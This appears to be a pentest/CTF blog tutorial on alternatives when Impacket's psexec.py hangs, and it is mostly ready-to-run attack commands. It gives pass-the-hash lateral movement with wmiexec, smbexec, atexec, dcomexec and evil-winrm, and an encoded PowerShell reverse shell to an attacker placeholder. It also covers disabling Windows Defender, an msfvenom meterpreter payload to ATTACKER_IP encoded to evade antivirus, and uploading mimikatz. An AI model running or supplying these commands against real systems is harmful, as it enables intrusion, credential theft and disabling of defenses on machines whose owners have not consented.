Impacket psexec.py Hangs? Here’s Why (And What to Use Instead)

Hey friend, you’ve got credentials for a Windows box, fire up psexec.py from Impacket, and… it just hangs. The upload happens, you see “Bypassing command execution” and then—nothing. Dead. Silence.

This is one of the most frustrating problems in CTFs and pentests. Let me show you exactly why it happens and the bulletproof alternatives that work when psexec fails.

Problem #1: psexec.py Uploads Binary Then Hangs

You run:

psexec.py administrator@10.10.10.50

Enter password, see:

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.50.....
[*] Found writable share ADMIN$
[*] Uploading file nXKmPqaR.exe
[*] Uploading service binary to C:\Windows\nXKmPqaR.exe
[*] Opening service manager on 10.10.10.50.....
[!] Was unable to open service manager: SERVICE_NAME_INVALID

Or worse—it uploads, starts service, and then nothing happens. No shell.

Why This Happens

1. Anti-virus (AV) blocks execution – Modern AV detects default psexec binaries and kills them instantly
2. Windows Defender – Even without third-party AV, Windows Defender’s real-time protection catches Impacket
3. Service execution blocked – Some environments restrict service creation or execution
4. UAC/LocalAccountTokenFilterPolicy – Administrative privileges aren’t passing through correctly

Solution #1: Use wmiexec.py Instead (Recommended)

WMI (Windows Management Instrumentation) execution bypasses service creation entirely. This is my go-to when psexec fails.

Command:

wmiexec.py administrator@10.10.10.50

Or with hash:

wmiexec.py -hashes :32196B56FFE6F35E8A77B01AE4E633A6 administrator@10.10.10.50

Advantages:

• Doesn’t create a service (stealthier)
• Doesn’t write files to disk
• Works when psexec is blocked
• Often bypasses basic AV signatures

Disadvantages:

• Semi-interactive shell (not full terminal)
• Some commands timeout or fail
• Output formatting is weird sometimes

Solution #2: Use smbexec.py (Alternative)

SMB exec uses SMB shares to execute commands without writing a binary to disk.

smbexec.py administrator@10.10.10.50

Or with hash:

smbexec.py -hashes :32196B56FFE6F35E8A77B01AE4E633A6 administrator@10.10.10.50

Advantages:

• No binary upload to disk
• Bypasses file-based AV detection
• Semi-interactive command execution

Solution #3: Use atexec.py (Scheduled Tasks)

Scheduled task execution is often overlooked but extremely reliable.

atexec.py administrator@10.10.10.50 "command"

Example – Get a shell:

# Create reverse shell payload
atexec.py administrator@10.10.10.50 "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABjAGwAaQBlAG4AdAAuAGMAbwBuAG4AZQBjAHQAKA'nAEEAVABUAEEAQwBLAEUAUgBfAEkAUAA'nACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAIAB7ADAAeAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAA7ACQAcwBlAG4AZABiAGEAYwBr`+ ACAAJABzAGUAbgBkAGIAYQBjAGsAIAAyAD4AJgAxACAAfAAgACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgBhAGMAawAsADAALAAkAHMAZQBuAGQAYgBhAGMAawAuAEwAZQBuAGcAdABoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

Then catch the shell with your listener.

Solution #4: Use dcomexec.py (DCOM)

DCOM execution is less common and often bypasses restrictions that block psexec.

dcomexec.py administrator@10.10.10.50

Available shells:

• -object 'MMC20.Application' (default)
• -object 'ShellWindows'
• -object 'ShellBrowserWindow'

Example:

dcomexec.py -object 'ShellWindows' administrator@10.10.10.50

Solution #5: Disable Windows Defender First

If you have remote execution but Defender is killing your binaries:

Option A: Using wmiexec to disable Defender:

wmiexec.py administrator@10.10.10.50

# Disable Real-time Monitoring
powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true"

# Or completely disable Windows Defender
powershell -c "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force"

Option B: Using NetExec/CrackMapExec:

nxc smb 10.10.10.50 -u administrator -p 'Password123' -M defqon_disable_defender

Option C: Using powershell_remoting (if enabled):

evil-winrm -i 10.10.10.50 -u administrator -p 'Password123'

# Disable Defender
Set-MpPreference -DisableRealtimeMonitoring $true

Solution #6: Use NetExec/CrackMapExec Instead

NetExec (modern fork of CrackMapExec) is often more reliable than Impacket

Command execution:

nxc smb 10.10.10.50 -u administrator -p 'Password123' -x 'whoami'

Spawn shell:

nxc smb 10.10.10.50 -u administrator -p 'Password123' -x 'powershell -e '

Using wmi:

nxc wmi 10.10.10.50 -u administrator -p 'Password123' -x 'whoami'

Solution #7: Encode Your Payload

When AV detection is the issue, encode your binary or payload:

Generate encoded payload with msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > payload.exe

Then upload manually via SMB:

smbclient.py administrator@10.10.10.50

# In smbclient
use ADMIN$
put payload.exe
exit

# Now execute via wmiexec
wmiexec.py administrator@10.10.10.50 "C:\Windows\payload.exe"

Solution #8: Use Evil-WinRM (PowerShell Remoting)

If port 5985/5986 (WinRM) is open, this is the most stable option:

evil-winrm -i 10.10.10.50 -u administrator -p 'Password123'

Or with hash:

evil-winrm -i 10.10.10.50 -u administrator -H 32196B56FFE6F35E8A77B01AE4E633A6

Advantages:

• Full interactive PowerShell session
• No binary upload
• Bypasses most AV
• Tab completion works
• Upload/download files easily

Bonus – Upload tools:

evil-winrm> upload /path/to/mimikatz.exe C:\Windows\Temp\mimikatz.exe
evil-winrm> C:\Windows\Temp\mimikatz.exe

Problem #2: “Access is Denied” Error

You get:

[!] Was unable to open service manager: ACCESS_DENIED

Causes:

1. UAC (User Account Control) is blocking remote admin access
2. LocalAccountTokenFilterPolicy not configured
3. Account is not actually admin

Fix: Check LocalAccountTokenFilterPolicy

On the target machine (if you have other access):

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy

If it’s not set to 1, enable it:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Now retry psexec.

Problem #3: Connection Timeout

psexec.py hangs trying to connect:

[*] Requesting shares on 10.10.10.50.....
[timeout]

Causes:

1. SMB port 445 blocked by firewall
2. IPSec or VPN required
3. Target offline

Fix: Check SMB Connectivity

ping 10.10.10.50
nmap -p 445,139 10.10.10.50
smbclient -L 10.10.10.50 -U administrator

Problem #4: NTLM Authentication Failed

You get:

[-] NTLM Session Error: STATUS_LOGON_FAILURE

Fix: Try Different Authentication

# Try with domain
psexec.py domain/administrator@10.10.10.50

# Try with LM hash too
psexec.py -hashes LMHASH:NTHASH administrator@10.10.10.50

# Try Kerberos (if domain joined)
export KRB5CCNAME=admin.ccache
psexec.py -k -no-pass administrator@target.domain.local

Quick Reference: Alternative Tools Matrix

Bottom Line

When psexec.py hangs, don’t waste time debugging. Switch to:

1. wmiexec.py – Most reliable alternative
2. evil-winrm – If port 5985/5986 is open (best experience)
3. smbexec.py – If WMI is blocked
4. atexec.py – For quick one-liner execution
5. dcomexec.py – Last resort alternative
6. NetExec – Modern, actively maintained

And always check if Windows Defender is the culprit—disable it first with wmiexec or evil-winrm before trying other methods.